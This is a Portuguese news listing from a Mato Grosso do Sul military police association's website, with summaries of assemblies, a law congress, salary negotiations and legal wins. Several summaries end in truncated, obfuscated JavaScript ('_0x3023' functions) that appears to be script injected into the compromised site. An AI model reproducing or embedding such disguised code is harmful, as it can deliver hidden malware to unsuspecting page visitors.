domingo, novembro 24
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Advogada da ACS participa do 13º Congresso do Mercosul de Direito de Família e Sucessões

Advogada da ACS participa do 13º Congresso do Mercosul de Direito de Família e Sucessões

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A advogada Josiane Meira, que integra a assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), participou da 13ª edição do Congresso do Mercosul de Direito de Família e Sucessões, que aconteceu em Gramado (RS) entre os dias 26 e 27 de maio. Na oportunidade, foram debatidos vários temas atuais e relevantes no campo do Direito das Famílias e Sucessões, como troca multidisciplinar do advogado x peritos (médicos e psicólogos), permanência da viúva em residência da qual não tem direitos sobre o imóvel (Direito real de habitação), herança digital (redes sociais, criptomoedas, etc) e importância do papel do advogado em mediar os conflitos e minimizar os litígios (por conta da demora de um processo). Grandes nomes do Dire...
Assembleia aprova contas de três Regionais e alterações no Estatuto

Assembleia aprova contas de três Regionais e alterações no Estatuto

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Em assembleia geral extraordinária realizada na manhã desta sexta-feira (16), os sócios da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) aprovaram alterações no Estatuto Social e as contas pendentes de três Regionais. Os trabalhos foram realizados no Clube de Campo da entidade, em Campo Grande. Segundo a presidente do Conselho Fiscal, 2º SGT PM Cristiane Louzada Ferreira, foram aprovados os balancetes das Regionais de Três Lagoas, Bataguassu e Dourados. Nova Andradina não apresentou a documentação, e as contas serão analisadas em março do próximo ano, durante assembleia geral ordinária. O presidente da entidade, 1º SGT PM Fabrício de Carvalho Moura, destacou que os associados ainda aprovaram o fim da exigência de publicação dos ...
ACS realiza assembleia geral extraordinária na sexta-feira

ACS realiza assembleia geral extraordinária na sexta-feira

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A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) realiza, nesta sexta-feira (16), assembleia geral extraordinária para discutir a reforma do Estatudo da entidade, prestação de contas pendentes das Regionais e outros assuntos administrativos. O edital de convocação foi publicado, conforme previsão estatutária, na edição do dia 26 de maio do Diário Oficial do Estado. A assembleia tem início às 9h30, em primeira convocação, no Clube de Campo da entidade, que fica na Rua Bela Aliança, Bairro Chácara das Mansões, CEP 79.060-060. Mais informações pelo telefone (67) 3387-8501. Jeozadaque GarciaAssessoria de Imprensa da ACS function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5...
SGT Moura participa da entrega da 1ª Ferradoria da Cavalaria da Polícia Militar

SGT Moura participa da entrega da 1ª Ferradoria da Cavalaria da Polícia Militar

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O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), 1° SGT PM Fabrício de Carvalho Moura, participou, nesta quarta-feira (07), do ato de entrega da 1ª Ferradoria da Cavalaria da Polícia Militar. Ele esteve acompanhado do Diretor do Interior da entidade, 3° SGT PM RR Valdenei Freitas. Também foram entregues as botas de policiamento montado adquiriras pela Sejusp (Secretaria de Estado de Justiça e Segurança Pública). A solenidade ainda homenageou diversas personalidades que prestaram relevantes serviços ao esquadrão, como o deputado estadual Coronel David e a Comandante-geral em exercício da PM, coronel Neidy Nunes Centurião. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return...
ACS realiza reunião aberta com militares para apresentar demandas da categoria

ACS realiza reunião aberta com militares para apresentar demandas da categoria

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A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) realizou, nesta quarta-feira (24), uma reunião aberta aos militares estaduais para apresentar uma série de assuntos de interesse da categoria, como Quadro de Distribuição de Efetivo, promoções requeridas, SPS (Sistema de Proteção Social) e a proposta que foi apresentada ao governo do Estado. Segundo o presidente da entidade, 1º SGT PM Fabrício de Carvalho Moura, a volta dos sete níveis de progressão horizontal, conforme texto enviado pelas entidades ao Executivo Estadual, apresenta um anseio de toda a tropa. “A missão diuturna dos policiais e bombeiros militares, desempenhada em uma carreira reconhecidamente estressante e de alto risco, é, em determinada medida, suavizada por uma p...
NOTA DE ESCLARECIMENTO – SPS

NOTA DE ESCLARECIMENTO – SPS

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A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), por meio de sua Diretoria Jurídica, vem se pronunciar sobre a sentença proferida pelo Juízo da 1ª Vara de Direitos Difusos, Coletivos e Individuais Homogêneos da Comarca de Campo Grande/MS, nos autos nº 0814465-70.2020.8.12.0001. O Juiz afirmou que “julgo pequena parte procedentes os pedidos formulados na Ação Declaratória nº0814465-70.2020.8.12.0001 e na Ação Coletiva nº 0820336-81.2020.8.12.0001”. Deste modo, a sentença não contemplou na integralidade os pedidos da ACS, pois diz a sentença que: Ficou determinado ao ESTADO e a AGEPREV que se abstenham de aplicar o disposto no artigo 24-C do Decreto-lei nº 667/1969 aos Policiais Civis e aos Bombeiros Militares do Estado de Mato Gros...
ACS convoca reunião para discutir proposta apresentada ao Governo do Estado

ACS convoca reunião para discutir proposta apresentada ao Governo do Estado

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A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) realiza, na quarta-feira (24), uma reunião aberta a todos os militares estaduais para discutir a proposta que foi apresentada ao Governo do Estado esta semana. O encontro será realizado no auditório da CDL (Câmara de Dirigentes Lojistas), em Campo Grande, a partir das 9h, e é aberto a policiais militares, bombeiros militares, ativos e inativos, associados ou não. A proposta é fruto de estudos realizados pelas entidades com a participação ativa dos comandos da Polícia Militar e do Corpo de Bombeiros Militar, e acompanhamento constante do Poder Legislativo, por intermédio do deputado estadual Coronel David. Na construção do projeto, após ouvidos os militares estaduais, foram tomadas por b...
Entidades apresentam proposta de política salarial ao governador do Estado

Entidades apresentam proposta de política salarial ao governador do Estado

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As principais entidades representativas dos militares de Mato Grosso do Sul encaminharam em conjunto, ao Governo do Estado, proposta de implantação de política salarial em forma de reajuste setorial (correção de distorções) que traga a valoração a todos os militares estaduais, conforme compromisso firmado pelo próprio governador Eduardo Riedel. Os presidentes das associações se reuniram, na manhã desta terça-feira (16), com o chefe do Executivo Estadual para discutirem as propostas. Segundo o presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), 1º SGT PM Fabrício de Carvalho Moura, foi a primeira categoria que Riedel recebeu após anunciar o reajuste geral de 5% para o funcionalismo público. “O policial quer valorização. Não p...
Diretoria Executiva e Conselho Fiscal da ACS realizam visita técnica e participam de troca de Comando em Corumbá

Diretoria Executiva e Conselho Fiscal da ACS realizam visita técnica e participam de troca de Comando em Corumbá

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A diretoria Executiva da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) realizou, entre esta quinta e sexta-feira, uma visita técnica na Regional de Corumbá. Estiveram na cidade o presidente da entidade, 1° SGT PM Fabrício de Carvalho Moura, o diretor de Subtenentes e Sargentos, 1° SGT PM RR José Luís Costa, e a CB Valéria Montarroyos, secretária do Conselho Fiscal da entidade. Nesta sexta, eles ainda participaram da troca de Comando do 6° Batalhão, onde a Tenente-Coronel Letícia Raquel Lopes Ramos deu lugar ao Tenente-Coronel Carlos Magno da Silva.   function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return ...
Jurídico da ACS consegue decisão favorável e policial denunciado pelo MPE é mantido nas fileiras da corporação

Jurídico da ACS consegue decisão favorável e policial denunciado pelo MPE é mantido nas fileiras da corporação

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A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), por meio de sua Diretoria Jurídica, conseguiu uma grande vitória ao manter nas fileiras da corporação um Policial Militar cujo Ministério Público Estadual pediu sua exclusão ao Tribunal de Justiça de Mato Grosso do Sul. A ação de perda da graduação foi proposta pelo MPE e a defesa foi realizada pelo advogado Paulo Alberto Doreto. O processo inicialmente deveria ter sido julgado em abril de 2022, mas após sustentação oral realizada pelo Dr. Doreto, o desembargador-relator do processo pediu vistas dos autos para analisar melhor as teses alegadas pela defesa. Na tarde de hoje, foi proclamado o resultado e julgada improcedente a ação por unanimidade, garantindo ao Policial Militar sua manu...